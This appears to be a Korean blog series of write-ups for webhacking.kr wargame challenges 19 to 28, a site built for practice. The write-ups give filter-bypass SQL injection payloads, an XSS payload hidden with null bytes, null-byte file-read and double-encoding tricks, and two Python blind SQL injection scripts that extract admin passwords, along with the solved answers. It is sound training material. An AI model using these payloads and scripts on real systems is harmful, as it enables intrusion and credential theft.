.htaccess 파일 업로드를 통해


php_flag engine off

php_value engine 0


하여 php가 실행 안되고 text로 출력되게 하는 문제였던 것 같다.


서버가 복구되고 나서 보안 설정으로 인해 업로드하면 406 Not Acceptable을 뱉는다.


고처지면 자세하게 작성 할 예정이다!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 28번  (0) 2016.11.21
webhacking.kr 27번  (0) 2016.11.21
webhacking.kr 26번  (0) 2016.11.20
webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19

27번 문제를 접속하면 아래와 같이 SQL Injection하는 문제임을 알 수 있다.


SQL Injection 문제의 경우 소스를 주어지는 경우도 있으니 HTML 소스보기를 해보자.



역시나 index.phps가 주어진다.


따라서 php의 소스코드를 확인해 볼 수 있다.



보면 간단한 SQL 인젝션 문제이다.


no의 경우 int형 변수이기 때문에 쿼터를 사용하지 않고 인젝션이 가능하다는 의도 같다.


쿼터를 사용하지 못하며 0x가 필터링 되어 있으므로 webhacking.kr 18번 문제와 똑같이 풀어주면 된다.

(확인 해보니 18번 문제에서 괄호만 추가 되었다)



0) or id=('admin' 이라는 값을 넣어주면 전체 쿼리는


select id from challenge27_table where id='guest' and no=(0) or id=('admin')


으로 id가 admin인 row가 리턴될 것 이다.



하지만 여기서  쿼터를 사용할 수 없다는 문제가 있다.

(admin을 hex값으로 encodeing하여 mysql 쿼리문으로 넘겨주는 방법으로 우회가 가능하다)




하지만 0x를 필터링 하기 때문에 다른 방법을 사용해야한다.


admin을 hex값이 아닌 bin값으로 표현 하는 것이다.



위와 같이 admin을 한글자씩 bin값을 구해서 이어 붙이면 0110000101100100011011010110100101101110값이 나온다.



mysql에서도 정상적으로 bin값들을 문자열으로 인식한다.


따라서 아래와 같이 no값을 0) or id=(0b0110000101100100011011010110100101101110 로 보내주면 문제를 풀 수 있다.


뚜둥!! 아니다 안풀린다! nohack이라고 뜬다!


필터링을 다시 살펴보니 여는 괄호를 못쓴다.


따라서 주석처리를 통하여 뒤에 마지막 괄호를 날려버려야겠다.


0) or id='admin'-- 을 입력하면 전체 쿼리는


select id from challenge27_table where id='guest' and no=(0) or id='admin'-- )


가 됨으로 똑같이 id가 admin인 row를 리턴 할 것 이다.


mysql에서의 주석 사용은 --%20, #, /**/, ;%00 총 4가지 방법이 있다.



따라서 진짜 문제를 풀기 위해선 no 값을 0) or id=0b0110000101100100011011010110100101101110--%20 을 입력하면 된다.


문제가 안풀린다! 알고보니깐 =도 필터링을 한다.


=은 like로 대체하여 가볍게 필터링을 우회할 수 있다.


따라서 진짜진짜 문제를 풀기 위해선 no 값을 0)%20or%20id%20like%200b0110000101100100011011010110100101101110--%20로 해주면 된다.


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 28번  (0) 2016.11.21
webhacking.kr 27번  (0) 2016.11.21
webhacking.kr 26번  (0) 2016.11.20
webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19

26번 문제를 접속하면 아래와 같이 index.phps를 통해 php의 소스를 확인 할 수 있다는 것을 알려준다.



php 소스코드를 확인해보면 상당히 간단하다.



GET 메소드를 통해서 id 파라미터를 받고 urldecode를 진행한 상태에서 id가 admin이면 문제가 풀린다.


하지만 admin이라는 단어를 정규식으로 검사하기 때문에 urldecode를 이용해야한다.


즉 admin이라는 단어를 urlencode 하여 id 파라미터의 값으로 보내주면 문제가 풀릴 것 같다.


urlencode는 16진수로 표현하여 %를 붙여주는 것과 같다.



admin은 61646d696e 이므로 urlencode 한 것은 %61%64%6d%69%6e가 될 것이다.


아래와 같이 id로 넘겨주면 문제가 풀리게 된다.


이상하다. 안풀린다!



분명 urlencode하여 정답을 보냈는데 요청하고 나면 아래와 같이 admin으로 요청한 것과 같아진다.



이유는 서버의 php로 전달하기전에 브라우저 단에서 미리 urldecode를 처리한 값을 보내기 때문이다.


그렇다면 어떻게 해야할까?



브라우저의 urldecode, 서버의 php에서 urldecode 총 2번 하기 때문에 우리도 2번 urlencode해서 보내주면 된다.


결론적으로는  %61%64%6d%69%6e에서 각각의 %만 urlencode 해서 보내주면 된다.

(영어는 브라우저단에서 어짜피 urldecode 해주니깐 하나마나 똑같다)


따라서 %2561%2564%256d%2569%256e 값을 보내주면 문제를 풀 수 있다.

(%는 hex값으로 0x25이다)



끝!



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 28번  (0) 2016.11.21
webhacking.kr 27번  (0) 2016.11.21
webhacking.kr 26번  (0) 2016.11.20
webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19

25번 문제를 접속하면 무슨 문제인지 바로 알 수 있을 것이다.



주소를 먼저 보면 file이라는 이름의 파라미터 값으로 hello를 넘겨준다.


어떤식으로 코딩을 했는지 조금 생각해보면 file로 받은 변수에 + ".txt"를 붙여주고 파일을 읽는 것 같다.


출제자의 의도는 password.php 파일을 읽으라는 것 같다.


file에 password.php를 넣어보면 역시 예상한데로 password.php.txt가 되는 것 같다.



password.php.txt라는 파일이 없어서 그런지 default로 있는 hello.txt를 계속 읽어주는 것 같다.


그렇다면 문제를 어떻게 풀어야 하는가?




php의 경우 c언어를 기반으로한 언어이기 때문에 문자열을 다룰때 몇몇 함수에서 널바이트에 영향을 많이 받는다.


아마 널바이트에 영향을 받는 함수를 사용 했을것이고 password.php%00을 넣어줌으로써 문자열의 끝을 알려주고 뒤에 ".txt"는 무시된다.


따라서 password.php를 읽어 볼 수 있다.



끝!


'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 27번  (0) 2016.11.21
webhacking.kr 26번  (0) 2016.11.20
webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18

24번 문제에 접속하면 아래와 같이 ip와 User-Agent값이 나오면서 IP가 틀렸다고 한다.



HTML 소스보기를 통해서 더 자세한 정보가 있을까 살펴봤다.



index.phps가 주석으로 써저있다.


php 소스를 확인할 수 있다는 뜻이다.


소스를 확인해보면



ip는 쿠키에 저장되고 쿠키에 저장된 ip를 가져와서 3번의 str_replace를 거치고 127.0.0.1이면 문제가 풀리는 것 같다.


php에서의 str_replace는 replaceALL과 다르게 str_replace 한 결과에 대해서는 또 다시 replace를 수행하지 않는다.


따라서 str_replace의 결과를 127.0.0.1과 같이 아래의 방법으로 만들 수 있다.


1211227.77..0.00..0.00..1 -> 127.0.0.1


위와 같이 쿠키를 등록해주고 새로고침 하면 문제가 풀린다.



끝!



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 26번  (0) 2016.11.20
webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18

23번 문제를 접속하면 아래와 같이 XSS 공격을 하는 문제 같습니다.



분명 필터링으로 한번에 안될 것 같음으로 <script> 먼저 넣어본다.



역시나 no hack 이다.


script를 대문자를 섞어서 ScRipT를 넣어본다.



이번에도 no hack 이다.


문자 사이사이에 %00을 넣어서 우회하는 방법을 사용했다.



이번엔 성공인거 같다.


따라서


<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t%00(1);</s%00c%00r%00i%00p%00t>


을 code로 보내주면 문제가 아래처럼 풀린다.



끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 25번  (0) 2016.11.20
webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17

22번 문제를 접속하면 아래와 같이 로그인과 회원가입, 힌트가 주어집니다.



22번 문제를 다시 풀면서 webhacking.kr의 간단한 취약점을 발견 했는데 해당 취약점은 처리가 되면 따로 작성하도록 하겠습니다.


22번 제는 로그인을 하면 id와 pw를 출력 해주고 admin인 결구 Auth Key를 뿌려주는 것 같습니다.


우선 guest/guest 로 회원가입을 해봅시다.


회원가입에 성공 한 후 로그인을 하면 아래와 같은 화면을 볼 수 있습니다.



id와 pw를 뿌려주는데 user key부분을 보면 제가 입력한 패스워드랑 다르네요.


32글자이고 hash 처럼 생긴것이 md5 해쉬 같아서 구글에 그대로 검색 해보았습니다.



역시 md5가 맞았으며 guestzombie를 md5한 결과 인 것을 확인 할 수 있습니다.


아마 회원가입을 할때 입력한 비밀번호 + 'zombie' 값을 md5한 것 같네요.


이 처럼 뒤나 앞에 특정 단어를 salt라고 합니다.


이제 admin으로 로그인하려면 admin 계정의 비밀번호를 알아야 하는데 비밀번호 해쉬가 주어진 걸 보니 데이터베이스에서 가져오라는 것 같네요.


SQL Injection을 해야할 것 같네요.


로그인 했을 때 ID를 출력해주므로 Union 쿼리를 생각할 수 있지만 필터링에 사용할 수 없습니다.


그렇다면 Blind Injection을 통해서 admin의 비밀번호를 알아내는 방법 밖에는 없겠네요.


우선 Blinj Injection이 되는지 아래와 같은 쿼리를 넣어 봅시다.

(비밀번호는 아무거나 넣었습니다.)



admin' and 1-- 를 아이디로 넣었을 때 Wrong password! 라고 뜨네요.



아래와 같이 admin' and 0-- 을 아이디로 넣어 봅시다.



admin' and 0-- 을 넣었을 때는 Wrong!이라고 뜨네요.



이 처럼 결과가 다르니 Blind 기반의 SQL Injection을 할 수 있겠네요.


어떤 필터링이 있을지 항상 사용하는 함수들을 넣어서 사용 여부 또한 알아 봅시다.


이번 문제도 mid, lpad, bin, ord 함수에 대한 필터링은 없는 것을 확인 할 수 있었습니다.


따라서 아래와 같은 python 스크립트를 사용하여 admin의 비밀번호를 알 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib, urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(133):
    temp = "0b0"
    for j in range(29):
        param = {'id':"admin' and (mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))-- ",'pw':'jeong.su'}
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-2/index.php', urllib.urlencode(param), header)
        res = urllib2.urlopen(req)
 
        if re.findall("Wrong password!", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: 2a93a7cea083c6e9e02c97ec5a5d715a


결과는 2a93a7cea083c6e9e02c97ec5a5d715a로 아까와 마찬가지로 구글에 검색을 해봅시다.



rainbowzombie를 md5 한 값이 admin의 pw입니다.


zombie는 salt값이기 때문에 admin / rainbow를 넣고 로그인을 해봅시다.



위와 같이 admin으로 로그인이 되면서 문제가 풀렸네요.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 24번  (0) 2016.11.19
webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
  1. Rap1er 2018.09.11 11:42

    관리자의 승인을 기다리고 있는 댓글입니다

21번 문제를 접속하면 아래와 같이 어떤 문제인지 한 번에 알 수 있습니다.



Blind SQL Injection을 하라고 하네요.


우선 1, 0 값을 넣었을 때 어떻게 다른지 각각 넣어서 확인해봅시다.


우선 값을 제출하면 no, id, pw 3개의 인자가 GET 방식으로 전달이 되네요.


id, pw는 input text가 없는데 어떻게 넘어 갔을까요?


소스 보기를 했더니 hidden type으로 들어가 있네요.


no에서 Blind SQL Injection이 된다고 했으니 우선 (1)을 넣어 보겠습니다.



예상대로 True 라는 결과 값이 나옵니다.


(0)을 넣으면 False가 뜨겠죠? 한번 해보겠습니다.



그리고 필터링 여부를 확인하기 위해 union 값을 넣었는데 역시 필터링을 하고 있습니다.



위와 같이 no hack이라고 뜨네요.


그럼 문제를 풀기 위해선 적절한 필터링 우회를 하고 python script를 작성하면 풀리겠습니다.


항상 사용하는 스크립트에서 사용하는 함수인 mid, lpad, bin, ord 함수 모두 필터링에 걸리지 않음으로 그대로 사용해서 아래와 같이 작성해 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no='+param+'&id=&pw=', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("True", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: guest


이상하게도 결과가 guest라고 나옵니다.


admin의 비밀번호를 가져오지 못하는 것이죠.


따라서 서브쿼리를 아래와 같이 작성해 줄 수도 있습니다.


subqry = "select pw from table_name where id='admin'"


하지만 table_name을 알 수 있는 방법이 없네요


그래서 테이블 구조와 row를 추측해보았습니다.



no가 2까지 있다는 것을 추측할 수 있는 근거는 no에 3을 넣었을 때 False값이 리턴됩니다.


따라서 no=2 and ({blind_injection_query}) 를 통해서 no가 2일 때의 row을 Blind Injection을 통해서 가져올 수 있습니다.


Python Script를 아래와 같이 다시 고쳐줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20'+param+'&id=&pw=', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("True", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: blindsqlinjectionkk


따라서 21번 문제의 Auth Key(Flag)는 admin의 pw가 되겠습니다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16

20번 문제를 접속하면 아래와 같은 화면이 뜬다.



이 문제는 프로그래밍을 하지말고 자바스크립트 문제라고 한다.


time limit라고 되어 있는 것을 보니 제한 시간 안에  닉네임과 코멘트, 코드를 써야하는 것 같다.


HTML 소스를 보고 javascript console을 사용하면 금방 풀 수 있을 것 같다.



HTML 소스 코드를 확인하니 친절 하게도 사용할 내용들을 ck 함수에서 알려주고 있다.


lv5frm.id.value = "jeong.su";

lv5frm.cmt.value = "hello world~";

lv5frm.hack.value = lv5frm.attackme.value;

lv5frm.submit();


4줄을 javascript console에 아래와 같이 넣어주고 실행 해준다.



2초의 제한 시간 때문에 새로고침 하고 2초안에 위 작업을 반복해주면 풀린다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16

19번 문제를 접속하면 id를 입력 받는 것이 하나 나온다.



제출을 누르면



GET 방식의 id라는 파라미터로 입력한 값을 전달한다.


admin으로 로그인을 하는 문제 같다.


우선 다른 아이디로도 접속을 해보자.


다른 아이디로 로그인 한 결과



해더를 수정할 수 없다는 error 메세지가 나온다.


그렇다 문제는 망가졌다.


문제가 복구 되면 다시 풀어 봐야겠다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16
webhacking.kr 17번  (0) 2016.11.16
webhacking.kr 16번  (0) 2016.11.15

+ Recent posts

티스토리 툴바